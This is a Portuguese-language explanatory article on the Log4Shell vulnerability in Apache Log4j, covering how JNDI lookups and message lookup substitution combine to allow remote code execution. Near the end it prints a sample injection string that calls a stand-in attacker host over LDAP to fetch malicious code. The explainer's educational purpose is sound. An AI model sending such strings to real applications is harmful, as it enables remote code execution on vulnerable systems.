O Log4Shell afeta o Log4j, uma biblioteca de registro de código aberto mantida pela Apache Software Foundation. O Log4j é um logger, um componente de software que registra informações e eventos de um programa, como mensagens de erro e inputs de usuário.
Log4J não é um programa independente, mas um pacote de código que os desenvolvedores podem incluir em suas aplicações Java em vez de criar loggers do zero. Grandes organizações, incluindo Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco, entre outras, usam Log4j em seus softwares e serviços.
O Log4Shell resulta de como as versões vulneráveis do Log4J lidam com dois recursos relacionados: Java Naming and Directory Interface (JNDI) e substituições de pesquisa de mensagens. Cada recurso por conta própria seria inofensivo, mas a interação entre eles dá aos hackers uma arma potente.
O JNDI é uma interface de programação de aplicativos (API) que aplicações Java utilizam para acessar recursos hospedados em servidores externos. Uma consulta JNDI é um comando que diz ao aplicativo para ir a um servidor e baixar um objeto específico, como um dado ou um script. Versões antigas do Log4j 2 executam automaticamente qualquer código baixado dessa maneira.
A substituição da pesquisa de mensagens permite que os usuários e aplicações enviem variáveis para Log4J dentro das mensagens de log usando uma sintaxe específica: ${prefix:name}. Quando Log4J encontra essa sintaxe, ela resolve a variável e registra o valor no log. Por exemplo, se Log4J recebeu uma mensagem que diz
${java:version}
o sistema poderia descobrir a versão atual do Java rodando no dispositivo. No log, ele registraria: "Java version X.XX."
De outra forma, o Log4J não trata substituições de pesquisa de mensagens como texto sem formatação. Ele os trata como comandos e age com base no que eles dizem. Os hackers podem aproveitar esse fato para enviar comandos maliciosos de pesquisa de JNDI para aplicativos que executam versões vulneráveis do Log4J. Por exemplo, um hacker pode enviar ao Log4J uma string como esta:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Quando o Log4j recebesse essa mensagem, ele resolveria a variável acessando o servidor myevilwebsite.biz e baixando o objeto localizado em /maliciouscode. Esse processo levaria o Log4j a executar qualquer código Java que o hacker tivesse colocado ali, geralmente malware.